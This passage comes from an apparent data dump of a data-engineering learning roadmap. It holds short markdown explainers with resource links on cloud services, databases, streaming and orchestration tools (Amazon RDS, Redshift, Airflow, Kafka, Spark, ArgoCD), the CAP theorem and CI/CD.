    "path": "src/data/roadmaps/data-engineer/content/amazon-rds-database@nD36-PXHzOXePM7j9u_O_.md",
    "content": "# Amazon RDS (Database)\n\nAmazon RDS (Relational Database Service) is a web service from Amazon Web Services. It's designed to simplify the setup, operation, and scaling of relational databases in the cloud. This service provides cost-efficient, resizable capacity for an industry-standard relational database and manages common database administration tasks. RDS supports six database engines: Amazon Aurora, PostgreSQL, MySQL, MariaDB, Oracle Database, and SQL Server. These engines give you the ability to run instances ranging from 5GB to 6TB of memory, accommodating your specific use case. It also ensures the database is up-to-date with the latest patches, automatically backs up your data and offers encryption at rest and in transit.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon RDS](https://aws.amazon.com/rds/)\n"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/amazon-redshift@omrg8QcYmTdQLBKV47b7o.md",
    "content": "# Amazon Redshift\n\nAmazon Redshift is a cloud-based data warehouse service from Amazon that lets you store and analyze large amounts of data quickly. It’s designed for running complex queries on huge datasets, so businesses can use it to turn raw data into useful reports and insights. You can load data into Redshift from many sources, and then use SQL to explore it, just like you would with a regular database — but it’s optimized to handle much bigger data and run faster.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Redshift](https://aws.amazon.com/redshift/)\n- [@video@Getting Started with Amazon Redshift - AWS Online Tech Talks](https://www.youtube.com/watch?v=dfo4J5ZhlKI)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/apache-airflow@vfO5Dz6ppsNtbGiQwpUs7.md",
    "content": "# Apache Airflow\n\nApache Airflow is an open-source tool that helps you schedule, organize, and monitor workflows. Think of it like a to-do list for your data tasks, but smarter — you can set tasks to run in a specific order, track their progress, and see what happens if something fails. It’s often used for automating data pipelines so that data moves, gets processed, and is ready for use without manual work.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Airflow](https://airflow.apache.org/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/apache-hadoop-yarn@pjm_qShAiFk3JsX4Z2d8G.md",
    "content": "# Apache Hadoop YARN\n\nApache Hadoop YARN (Yet Another Resource Negotiator) is the part of Hadoop that manages resources and runs jobs on a cluster. It has a ResourceManager that controls all cluster resources and an ApplicationMaster for each job that schedules and runs tasks. YARN lets different tools like MapReduce and Spark share the same cluster, making it more efficient, flexible, and reliable.\n\nVisit the following resources to learn more:\n\n- [@video@Hadoop Yarn Tutorial](https://www.youtube.com/watch?v=6bIF9VwRwE0)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/apache-kafka@fTpx6m8U0506ZLCdDU5OG.md",
    "content": "# Apache Kafka\n\nApache Kafka is an open-source stream-processing software platform developed by LinkedIn and donated to the Apache Software Foundation. It is written in Scala and Java and operates based on a message queue, designed to handle real-time data feeds. Kafka functions as a kind of message broker service in between the data producers and the consumers, facilitating efficient transmission of data. It can be viewed as a durable message broker where applications can process and reprocess streamed data. Kafka is a highly scalable and fault-tolerant system which ensures data delivery without loss.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Kafka](https://kafka.apache.org/quickstart)\n- [@article@Apache Kafka Streams](https://docs.confluent.io/platform/current/streams/concepts.html)\n- [@article@Kafka Streams Confluent](https://kafka.apache.org/documentation/streams/)\n- [@video@Apache Kafka Fundamentals](https://www.youtube.com/watch?v=B5j3uNBH8X4)\n- [@video@Kafka in 100 Seconds](https://www.youtube.com/watch?v=uvb00oaa3k8)\n- [@feed@Explore top posts about Kafka](https://app.daily.dev/tags/kafka?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/apache-spark@qHMtJFYcGmESiz_VwRwiI.md",
    "content": "# Apache Spark\n\nApache Spark is an open-source distributed computing system designed for big data processing and analytics. It offers a unified interface for programming entire clusters, enabling efficient handling of large-scale data with built-in support for data parallelism and fault tolerance. Spark excels in processing tasks like batch processing, real-time data streaming, machine learning, and graph processing. It’s known for its speed, ease of use, and ability to process data in-memory, significantly outperforming traditional MapReduce systems. Spark is widely used in big data ecosystems for its scalability and versatility across various data processing tasks.\n\nVisit the following resources to learn more:\n\n- [@official@ApacheSpark](https://spark.apache.org/documentation.html)\n- [@article@Spark By Examples](https://sparkbyexamples.com)\n- [@feed@Explore top posts about Apache Spark](https://app.daily.dev/tags/spark?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/apis@cxTriSZvrmXP4axKynIZW.md",
    "content": "# APIs and Data Collection\n\nApplication Programming Interfaces, better known as APIs, play a fundamental role in the work of data engineers, particularly in the process of data collection. APIs are sets of protocols, routines, and tools that enable different software applications to communicate with each other. An API allows developers to interact with a service or platform through a defined set of rules and endpoints, enabling data exchange and functionality use without needing to understand the underlying code. In data engineering, APIs are used extensively to collect, exchange, and manipulate data from different sources in a secure and efficient manner.\n\nVisit the following resources to learn more:\n\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@article@A Beginner's Guide to APIs](https://www.postman.com/what-is-an-api/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/argocd@PUzHbjwntTSj1REL_dAov.md",
    "content": "# ArgoCD\n\nArgo CD is a continuous delivery tool for Kubernetes that is based on the GitOps methodology. It is used to automate the deployment and management of cloud-native applications by continuously synchronizing the desired application state with the actual application state in the production environment. In an Argo CD workflow, changes to the application are made by committing code or configuration changes to a Git repository. Argo CD monitors the repository and automatically deploys the changes to the production environment using a continuous delivery pipeline. The pipeline is triggered by changes to the Git repository and is responsible for building, testing, and deploying the changes to the production environment. Argo CD is designed to be a simple and efficient way to manage cloud-native applications, as it allows developers to make changes to the system using familiar tools and processes and it provides a clear and auditable history of all changes to the system. It is often used in conjunction with tools such as Helm to automate the deployment and management of cloud-native applications.\n\nVisit the following resources to learn more:\n\n- [@official@Argo CD - Argo Project](https://argo-cd.readthedocs.io/en/stable/)\n- [@video@ArgoCD Tutorial for Beginners](https://www.youtube.com/watch?v=MeU5_k9ssrs)\n- [@video@What is ArgoCD](https://www.youtube.com/watch?v=p-kAqxuJNik)\n- [@feed@Explore top posts about ArgoCD](https://app.daily.dev/tags/argocd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/async-vs-sync-communication@VefHaP7rIOcZVFzglyn66.md",
    "content": "# Async vs Sync Communication\n\nSynchronous and asynchronous data refer to different approaches in data transmission and processing. **Synchronous** ingestion is a process where the system waits for a response from the data source before proceeding. In contrast, **asynchronous** ingestion is a process where data is ingested without waiting for a response from the data source. Normally, data is queued in a buffer and sent in batches for efficiency.\n\nEach approach has its benefits and drawbacks, and the choice depends on the specific requirements of the data ingestion process and the business needs.\n\nVisit the following resources to learn more:\n\n- [@article@Synchronous And Asynchronous Data Transmission: The Differences And How to Use Them](https://www.computer.org/publications/tech-news/trends/synchronous-asynchronous-data-transmission)\n- [@article@Synchronous vs Asynchronous Communication: What’s the Difference?](https://www.getguru.com/reference/synchronous-vs-asynchronous-communication)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/aurora-db@YZ4G1-6VJ7VdsphdcBTf9.md",
    "content": "# Aurora DB\n\nAmazon Aurora (Aurora) is a fully managed relational database engine that's compatible with MySQL and PostgreSQL. Aurora includes a high-performance storage subsystem. Its MySQL- and PostgreSQL-compatible database engines are customized to take advantage of that fast distributed storage. The underlying storage grows automatically as needed. Aurora also automates and standardizes database clustering and replication, which are typically among the most challenging aspects of database configuration and administration.\n\nVisit the following resources to learn more:\n\n- [@official@SAmazon Aurora](https://aws.amazon.com/rds/aurora/)\n- [@article@SAmazon Aurora: What It Is, How It Works, and How to Get Started](https://www.datacamp.com/tutorial/amazon-aurora)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/authentication-vs-authorization@HDVhttLNMLmIAVEOBCOQ3.md",
    "content": "# Authentication vs Authorization\n\nAuthentication and authorization are popular terms in modern computer systems that often confuse people. **Authentication** is the process of confirming the identity of a user or a device (i.e., an entity). During the authentication process, an entity usually relies on some proof to authenticate itself, i.e. an authentication factor. In contrast to authentication, **authorization** refers to the process of verifying what resources entities (users or devices) can access, or what actions they can perform, i.e., their access rights.\n\nVisit the following resources to learn more:\n\n- [@article@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@What is Authentication vs Authorization?](https://auth0.com/intro-to-iam/authentication-vs-authorization)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/aws-cdk@OKJ3HTfreitk2JdrfeLIK.md",
    "content": "# AWS CDK\n\nThe AWS Cloud Development Kit (AWS CDK) is an open-source software development framework used to provision cloud infrastructure resources in a safe, repeatable manner through AWS CloudFormation. AWS CDK offers the flexibility to write infrastructure as code in popular languages like Python, Java, Go, and C#.\n\nVisit the following resources to learn more:\n\n- [@course@AWS CDK Crash Course for Beginners](https://www.youtube.com/watch?v=D4Asp5g4fp8)\n- [@official@AWS CDK](https://aws.amazon.com/cdk/)\n- [@official@AWS CDK Documentation](https://docs.aws.amazon.com/cdk/index.html)\n- [@opensource@AWS CDK Examples](https://github.com/aws-samples/aws-cdk-examples)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/aws-eks@eVqcYI2Sy2Dldl3SfxB2C.md",
    "content": "# EKS\n\nAmazon Elastic Kubernetes Service (EKS) is a managed service that simplifies the deployment, management, and scaling of containerized applications using Kubernetes, an open-source container orchestration platform. EKS manages the Kubernetes control plane for the user, making it easy to run Kubernetes applications without the operational overhead of maintaining the Kubernetes control plane. With EKS, you can leverage AWS services such as Auto Scaling Groups, Elastic Load Balancer, and Route 53 for resilient and scalable application infrastructure. Additionally, EKS can support Spot and On-Demand instances use, and includes integrations with AWS App Mesh service and AWS Fargate for serverless compute.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Elastic Kubernetes Service (EKS)](https://aws.amazon.com/eks/)\n- [@official@Concepts of Amazon EKS](https://docs.aws.amazon.com/eks/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/aws-sns@uFeiTRobSymkvCinhwmZV.md",
    "content": "# AWS SNS\n\nAmazon Simple Notification Service (Amazon SNS) is a web service that makes it easy to set up, operate, and send notifications from the cloud. It provides developers with a highly scalable, flexible, and cost-effective capability to publish messages from an application and immediately deliver them to subscribers or other applications. It is designed to make web-scale computing easier for developers. Amazon SNS follows the “publish-subscribe” (pub-sub) messaging paradigm, with notifications being delivered to clients using a “push” mechanism that eliminates the need to periodically check or “poll” for new information and updates. With simple APIs requiring minimal up-front development effort, no maintenance or management overhead and pay-as-you-go pricing, Amazon SNS gives developers an easy mechanism to incorporate a powerful notification system with their applications.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Simple Notification Service (SNS) ](http://aws.amazon.com/sns/)\n- [@official@Send Fanout Event Notifications](https://aws.amazon.com/getting-started/hands-on/send-fanout-event-notifications/)\n- [@article@What is Pub/Sub Messaging?](https://aws.amazon.com/what-is/pub-sub-messaging/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/aws-sqs@uIU5Yncp6hGDcNO1fpjUS.md",
    "content": "# AWS SQS\n\nAmazon Simple Queue Service (Amazon SQS) offers a secure, durable, and available hosted queue that lets you integrate and decouple distributed software systems and components. Amazon SQS offers common constructs such as dead-letter queues and cost allocation tags. It provides a generic web services API that you can access using any programming language that the AWS SDK supports.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Simple Queue Service](https://aws.amazon.com/sqs/)\n- [@official@What is Amazon Simple Queue Service?](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/welcome.html)\n- [@article@Amazon Simple Queue Service (SQS): A Comprehensive Tutorial](https://www.datacamp.com/tutorial/amazon-sqs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/azure-blob-storage@gzbEGCUwMsD1gL4nW668g.md",
    "content": "# Azure Blob Storage\n\nAzure Blob Storage is Microsoft's object storage solution for the cloud. “Blob” stands for Binary Large Object, a term used to describe storage for unstructured data like text, images, and video. Azure Blob Storage is Microsoft Azure’s solution for storing these blobs in the cloud. It offers flexible storage—you only pay based on your usage. Depending on the access speed you need for your data, you can choose from various storage tiers (hot, cool, and archive). Being cloud-based, it is scalable, secure, and easy to manage.\n\nVisit the following resources to learn more:\n\n- [@official@Azure Blob Storage](https://azure.microsoft.com/en-us/products/storage/blobs)\n- [@official@Introduction to Azure Blob Storage](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)\n- [@video@A Beginners Guide to Azure Blob Storage](https://www.youtube.com/watch?v=ah1XqItWkuc&t=300s)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/azure-sql-database@iIZ3g70KRwEJCBNaONd2d.md",
    "content": "# Azure SQL Database\n\nAzure SQL Database is a fully managed Platform as a Service (PaaS) offering. It abstracts the underlying infrastructure, enabling developers to focus on building and deploying applications without worrying about database maintenance tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Azure SQL Database](https://azure.microsoft.com/en-us/products/azure-sql/database)\n- [@official@What is Azure SQL Database?](https://learn.microsoft.com/en-us/azure/azure-sql/database/sql-database-paas-overview?view=azuresql)\n- [@article@Azure SQL Database: Step-by-Step Setup and Management](https://www.datacamp.com/tutorial/azure-sql-database)\n- [@video@Azure SQL for Beginners](https://www.youtube.com/playlist?list=PLlrxD0HtieHi5c9-i_Dnxw9vxBY-TqaeN)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/azure-virtual-machines@-yi-xk-kv0njW9GdytiAQ.md",
    "content": "# Azure Virtual Machines\n\nAzure Virtual Machines (VMs) enable virtualization without requiring hardware investments. They provide customizable environments for development, testing, and cloud applications so you can run different operating systems like Ubuntu on a Windows host based on your needs. One of the key advantages of Azure VMs is the pay-as-you-go pricing model. It allows you to scale resources up or down as needed, ensuring cost efficiency without wasting resources.\n\nVisit the following resources to learn more:\n\n- [@official@Azure Virtual Machines](https://azure.microsoft.com/en-us/products/virtual-machines)\n- [@official@Virtual Machines in Azure](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)\n- [@video@AVirtual Machines in Azure | Beginner's Guide](https://www.youtube.com/watch?v=_abaWXoQFZU)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/batch@f-a3Hy1ldnvSv8W2mFiJK.md",
    "content": "# Batch\n\nBatch processing is a method in which large volumes of collected data are processed in chunks or batches. This approach is especially effective for resource-intensive jobs, repetitive tasks, and managing extensive datasets where real-time processing isn’t required. It is ideal for applications like data warehousing, ETL (Extract, Transform, Load), and large-scale reporting. Data batch processing is mainly automated, requiring minimal human interaction once the process is set up. Tasks are predefined, and the system executes them according to a scheduled timeline, typically during off-peak hours when computing resources are readily available.\n\nVisit the following resources to learn more:\n\n- [@article@What is Batch Processing?](https://aws.amazon.com/what-is/batch-processing/)\n- [@article@Batch And Streaming Demystified For Unification](https://towardsdatascience.com/batch-and-streaming-demystified-for-unification-dee0b48f921d/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/best-practices@yyJJGinOv3M21MFuqJs0j.md",
    "content": "# Best Practices\n\n1.  **Ensure Reliability.** A robust messaging system must guarantee that messages aren’t lost, even during node failures or network issues. This means using acknowledgments, replication across multiple brokers, and durable storage on disk. These measures ensure that producers and consumers can recover seamlessly without data loss when something goes wrong.\n    \n2.  **Design for Scalability.** Scalability should be baked in from the start. Partition topics strategically to distribute load across brokers and consumer groups, enabling horizontal scaling.\n    \n3.  **Maintain Message Ordering.** For systems that depend on message sequence, ensure ordering within partitions and design producers to consistently route related messages to the same partition.\n    \n4.  **Secure Communication.** Messaging queues often carry sensitive data, so encrypt messages both in transit and at rest. Implement authentication techniques to ensure only trusted clients can publish or consume, and enforce authorization rules to limit access to specific topics or operations.\n    \n5.  **Monitor & Alert.** Continuous visibility into your messaging system is essential. Track metrics such as message lag, throughput, consumer group health, and broker disk usage. Set alerts for abnormal patterns, like growing lag or dropped connections, so you can respond before they affect downstream systems.\n\nVisit the following resources to learn more:\n\n- [@article@Best Practices for Message Queue Architecture](https://abhishek-patel.medium.com/best-practices-for-message-queue-architecture-f69d47e3565)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/big-data-tools@03BHmPhYkZrJwRvQdmxxr.md",
    "content": "# Big Data Tools\n\nBig data tools are specialized software and platforms designed to handle the massive volume, velocity, and variety of data that traditional data processing tools cannot effectively manage. These tools provide the infrastructure, frameworks, and capabilities to process, analyze, and extract meaningful knowledge from vast datasets. They are essential for modern data-driven organizations seeking to gain insights, make informed decisions, and achieve a competitive advantage.\n\nHadoop and Spark are two of the most prominent frameworks in big data they handle the processing of large-scale data in very different ways. While Hadoop can be credited with democratizing the distributed computing paradigm through a robust storage system called HDFS and a computational model called MapReduce, Spark is changing the game with its in-memory architecture and flexible programming model.\n\nVisit the following resources to learn more:\n\n- [@article@What is Big Data?](https://cloud.google.com/learn/what-is-big-data?hl=en)\n- [@article@Hadoop vs Spark: Which Big Data Framework Is Right For You?](https://www.datacamp.com/blog/hadoop-vs-spark)\n- [@video@introduction to Big Data with Spark and Hadoop](http://youtube.com/watch?v=vHlwg4ciCsI&t=80s&ab_channel=freeCodeAcademy)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/bigtable@ltZftFsiOo12AkQ-04N3B.md",
    "content": "# BigTable\n\nBigtable is a high-performance, scalable database that excels at capturing, processing, and analyzing data in real-time. It aggregates data as it's written, providing immediate insights into user behavior, A/B testing results, and engagement metrics. This real-time capability also fuels AI/ML models for interactive applications. Bigtable integrates seamlessly with both Dataflow, enriching streaming pipelines with low-latency lookups, and BigQuery, enabling real-time serving of analytics in user facing application and ad-hoc querying on the same data.\n\nVisit the following resources to learn more:\n\n- [@official@Bigtable: Fast, Flexible NoSQL](https://cloud.google.com/bigtable?hl=en#scale-your-latency-sensitive-applications-with-the-nosql-pioneer)\n- [@article@Google Bigtable](https://www.techtarget.com/searchdatamanagement/definition/Google-BigTable)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/business-intelligence@zA5QqqBMsqymdiPGFdUnt.md",
    "content": "# Business Intelligence\n\nBusiness intelligence encompasses a set of techniques and technologies to transform raw data into meaningful insights that drive strategic decision-making within an organization. BI tools enable business users to access different types of data, historical and current, third-party and in-house, as well as semistructured data and unstructured data such as social media. Users can analyze this information to gain insights into how the business is performing and what it should do next.\n\nBI platforms traditionally rely on data warehouses for their baseline information. The strength of a data warehouse is that it aggregates data from multiple data sources into one central system to support business data analytics and reporting. BI presents the results to the user in the form of reports, charts and maps, which might be displayed through a dashboard.\n\nVisit the following resources to learn more:\n\n- [@article@What is business intelligence (BI)?](https://www.ibm.com/think/topics/business-intelligence)\n- [@article@Business intelligence: A complete overview](https://www.tableau.com/business-intelligence/what-is-business-intelligence)\n- [@video@What is business intelligence?](https://www.youtube.com/watch?v=l98-BcB3UIE)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cap-theorem@AslPFjoakcC44CmPB5nuw.md",
    "content": "# CAP Theorem\n\nThe CAP Theorem, also known as Brewer's Theorem, is a fundamental principle in distributed database systems. It states that in a distributed system, it's impossible to simultaneously guarantee all three of the following properties: Consistency (all nodes see the same data at the same time), Availability (every request receives a response, without guarantee that it contains the most recent version of the data), and Partition tolerance (the system continues to operate despite network failures between nodes). According to the theorem, a distributed system can only strongly provide two of these three guarantees at any given time. This principle guides the design and architecture of distributed systems, influencing decisions on data consistency models, replication strategies, and failure handling. Understanding the CAP Theorem is crucial for designing robust, scalable distributed systems and for choosing appropriate database solutions for specific use cases in distributed computing environments.\n\nVisit the following resources to learn more:\n\n- [@article@What is CAP Theorem?](https://www.bmc.com/blogs/cap-theorem/)\n- [@article@An Illustrated Proof of the CAP Theorem](https://mwhittaker.github.io/blog/an_illustrated_proof_of_the_cap_theorem/)\n- [@article@CAP Theorem and its applications in NoSQL Databases](https://www.ibm.com/uk-en/cloud/learn/cap-theorem)\n- [@video@What is CAP Theorem?](https://www.youtube.com/watch?v=_RbsFXWRZ10)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cassandra@QYR8ESN7xhi4ZxcoiZbgn.md",
    "content": "# Cassandra\n\nApache Cassandra is a highly scalable, distributed NoSQL database designed to handle large amounts of structured data across multiple commodity servers. It provides high availability with no single point of failure, offering linear scalability and proven fault-tolerance on commodity hardware or cloud infrastructure. Cassandra uses a masterless ring architecture, where all nodes are equal, allowing for easy data distribution and replication. It supports flexible data models and can handle both unstructured and structured data. Cassandra excels in write-heavy environments and is particularly suitable for applications requiring high throughput and low latency. Its data model is based on wide column stores, offering a more complex structure than key-value stores. Widely used in big data applications, Cassandra is known for its ability to handle massive datasets while maintaining performance and reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Cassandra](https://cassandra.apache.org/_/index.html)\n- [@article@article@Cassandra - Quick Guide](https://www.tutorialspoint.com/cassandra/cassandra_quick_guide.htm)\n- [@video@Apache Cassandra - Course for Beginners](https://www.youtube.com/watch?v=J-cSy5MeMOA)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/census@vZGDtlyt_yj4szcPTw3cv.md",
    "content": "# Census\n\nCensus is a reverse ETL platform that synchronizes data from a data warehouse to various business applications and SaaS apps like Salesforce and Hubspot. It's a crucial part of the modern data stack, enabling businesses to operationalize their data by making it available in the tools where teams work, like CRMs, marketing platforms, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Census](https://www.getcensus.com/reverse-etl)\n- [@official@Census Documentation](https://developers.getcensus.com/getting-started/introduction)\n- [@article@A starter guide to reverse ETL with Census](https://www.getcensus.com/blog/starter-guide-for-first-time-census-users)\n- [@video@How to \"Reverse ETL\" with Census](https://www.youtube.com/watch?v=XkS7DQFHzbA)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/choosing-the-right-technologies@_MpdVlvvkrsgzigYMZ_P8.md",
    "content": "# Choosing the Right Technologies\n\nThe data engineering ecosystem is rapidly expanding, and selecting the right technologies for your use case can be challenging. Below you can find some considerations for choosing data technologies across the data engineering lifecycle:\n\n*   **Team size and capabilities.** Your team's size will determine the amount of bandwidth your team can dedicate to complex solutions. For small teams, try to stick to simple solutions and technologies your team is familiar with.\n*   **Interoperability**. When choosing a technology or system, you’ll need to ensure that it interacts and operates smoothly with other technologies.\n*   **Cost optimization and business value,** Consider direct and indirect costs of a technology and the opportunity cost of choosing some technologies over others.\n*   **Location** Companies have many options when it comes to choosing where to run their technology stack, including cloud providers, on-premises systems, hybrid clouds, and multicloud.\n*   **Build versus buy**. Depending on your needs and capabilities, you can either invest in building your own technologies, implement open-source solutions, or purchase proprietary solutions and services.\n*   **Server versus serverless**. Depending on your needs, you may prefer server-based setups, where developers manage servers, or serverless systems, which translates the server management to cloud providers, allowing developers to focus solely on writing code.\n\nVisit the following resources to learn more:\n\n- [@book@Fundamentals of Data Engineering](https://www.oreilly.com/library/view/fundamentals-of-data/9781098108298/)\n- [@article@Build hybrid and multicloud architectures using Google Cloud](https://cloud.google.com/architecture/hybrid-multicloud-patterns)\n- [@article@The Unfulfilled Promise of Serverless](https://www.lastweekinaws.com/blog/the-unfulfilled-promise-of-serverless/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cicd@k2SJ4ELGa4B2ZERDAk1uj.md",
    "content": "# CI / CD\n\n**Continuous Integration** is a software development method where team members integrate their work at least once daily. An automated build checks every integration to detect errors in this method. In Continuous Integration, the software is built and tested immediately after a code commit. In a large project with many developers, commits are made many times during the day. With each commit, code is built and tested.\n\n**Continuous Delivery** is a software engineering method in which a team develops software products in a short cycle. It ensures that software can be easily released at any time. The main aim of continuous delivery is to build, test, and release software with good speed and frequency. It helps reduce the cost, time, and risk of delivering changes by allowing for frequent updates in production.\n\nVisit the following resources to learn more:\n\n- [@article@What is CI/CD? Continuous Integration and Continuous Delivery](https://www.guru99.com/continuous-integration.html)\n- [@article@Continuous Integration vs Delivery vs Deployment](https://www.guru99.com/continuous-integration-vs-delivery-vs-deployment.html)\n- [@article@CI/CD Pipeline: Learn with Example](https://www.guru99.com/ci-cd-pipeline.html)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/circle-ci@CewITBPtfVs32LD5Acb2E.md",
    "content": "# CircleCI\n\nCircleCI is a CI/CD service that can be integrated with GitHub, BitBucket and GitLab repositories. The service that can be used as a SaaS offering or self-managed using your own resources.\n\nVisit the following resources to learn more:\n\n- [@official@CircleCI](https://circleci.com/)\n- [@official@CircleCI Documentation](https://circleci.com/docs)\n- [@official@Configuration Tutorial](https://circleci.com/docs/config-intro)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cloud-architectures@YLfyb_ycgz1hu0yW8SPNE.md",
    "content": "# Cloud Architectures\n\nCloud architecture refers to how various cloud technology components, such as hardware, virtual resources, software capabilities, and virtual network systems interact and connect to create cloud computing environments. Cloud architecture dictates how components are integrated so that you can pool, share, and scale resources over a network. It acts as a blueprint that defines the best way to strategically combine resources to build a cloud environment for a specific business need.\n\nCloud architecture components can included, among others:\n\n*   A frontend platform\n*   A backend platform\n*   A cloud-based delivery model\n*   A network (internet, intranet, or intercloud)\n\nVisit the following resources to learn more:\n\n- [@article@What is cloud architecture? - Google](https://cloud.google.com/learn/what-is-cloud-architecture)\n- [@video@WWhat is Cloud Architecture and Common Models?](https://www.youtube.com/watch?v=zTP-bx495hU)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cloud-computing@lDeSL9qvgQgyAMcWXF7Fr.md",
    "content": "# Cloud Computing\n\n**Cloud Computing** refers to the delivery of computing services over the internet rather than using local servers or personal devices. These services include servers, storage, databases, networking, software, analytics, and intelligence. Cloud Computing enables faster innovation, flexible resources, and economies of scale. There are various types of cloud computing such as public clouds, private clouds, and hybrids clouds. Furthermore, it's divided into different services like Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). These services differ mainly in the level of control an organization has over their data and infrastructures.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Computing - IBM](https://www.ibm.com/think/topics/cloud-computing)\n- [@article@What is Cloud Computing? - Azure](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-cloud-computing)\n- [@video@What is Cloud Computing? - Amazon Web Services](https://www.youtube.com/watch?v=mxT233EdY5c)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cloud-sql-database@9-wQWQIdAxQmMaJC9ojPg.md",
    "content": "# Cloud SQL (Database)\n\nGoogle Cloud SQL is a fully-managed, cost-effective and scalable database service that makes it easy to set-up, maintain, manage and administer MySQL, PostgreSQL, and SQL Server databases in the cloud. Hosted on Google Cloud Platform, Cloud SQL provides a database infrastructure for applications running anywhere.\n\nVisit the following resources to learn more:\n\n- [@course@Cloud SQL](https://www.cloudskillsboost.google/course_templates/701)\n- [@official@Cloud SQL](https://cloud.google.com/sql)\n- [@official@Cloud SQL overview](https://cloud.google.com/sql/docs/introduction)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cluster-computing-basics@hB0y8A2U3owpAbTUb7LN5.md",
    "content": "# Cluster Computing Basics\n\nCluster computing is the process of using multiple computing nodes, called clusters, to increase processing power for solving complex problems, such as Big Data analytics and AI model training. These tasks require parallel processing of millions of data points for complex classification and prediction tasks. Cluster computing technology coordinates multiple computing nodes, each with its own CPUs, GPUs, and internal memory, to work together on the same data processing task. Applications on cluster computing infrastructure run as if on a single machine and are unaware of the underlying system complexities."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cluster-management-tools@wpZfbIFtfiUSLMASk4t7f.md",
    "content": "# Cluster Management Tools\n\nCluster management software maximizes the work that a cluster of computers can perform. A cluster manager balances workload to reduce bottlenecks, monitors the health of the elements of the cluster, and manages failover when an element fails. A cluster manager can also help a system administrator to perform administration tasks on elements in the cluster.\n\nSome of the most popular Cluster Management Tools are Kubernetes and Apache Hadoop YARN."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/column@fBD6ZQoMac8w4kMJw_Jrd.md",
    "content": "# Column\n\nA columnar database is a type of No-SQL database that stores data by columns instead of by rows. In a traditional SQL database, all the information for one record is stored together, but in a columnar database, all the values for a single column are stored together. This makes it much faster to read and analyze large amounts of data, especially when you only need a few columns instead of the whole record. For example, if you want to quickly find the average sales price from millions of rows, a columnar database can scan just the \"price\" column instead of every piece of data. This design is often used in data warehouses and analytics systems because it speeds up queries and saves storage space through better compression.\n\nVisit the following resources to learn more:\n\n- [@article@What are columnar databases? Here are 35 examples.](https://www.tinybird.co/blog-posts/what-is-a-columnar-database)\n- [@article@Columnar Databases](https://www.techtarget.com/searchdatamanagement/definition/columnar-database)\n- [@video@WWhat is a Columnar Database? (vs. Row-oriented Database)](https://www.youtube.com/watch?v=1MnvuNg33pA)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/compute-engine-compute@-cU86vJWJmlmPHXDCo31o.md",
    "content": "# Compute Engine (Compute)\n\nCompute Engine is a computing and hosting service that lets you create and run virtual machines on Google infrastructure. Compute Engine offers scale, performance, and value that lets you easily launch large compute clusters on Google's infrastructure. There are no upfront investments, and you can run thousands of virtual CPUs on a system that offers quick, consistent performance. You can configure and control Compute Engine resources using the Google Cloud console, the Google Cloud CLI, or using a REST-based API. You can also use a variety of programming languages to run Compute Engine, including Python, Go, and Java.\n\nVisit the following resources to learn more:\n\n- [@course@The Basics of Google Cloud Compute](https://www.cloudskillsboost.google/course_templates/754)\n- [@official@Compute Engine overview](https://cloud.google.com/compute/docs/overview)\n- [@video@WCompute Engine in a minute](https://www.youtube.com/watch?v=IuK4gQeHRcI)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/containers--orchestration@eTHitN2erd6z8-MZiXE9s.md",
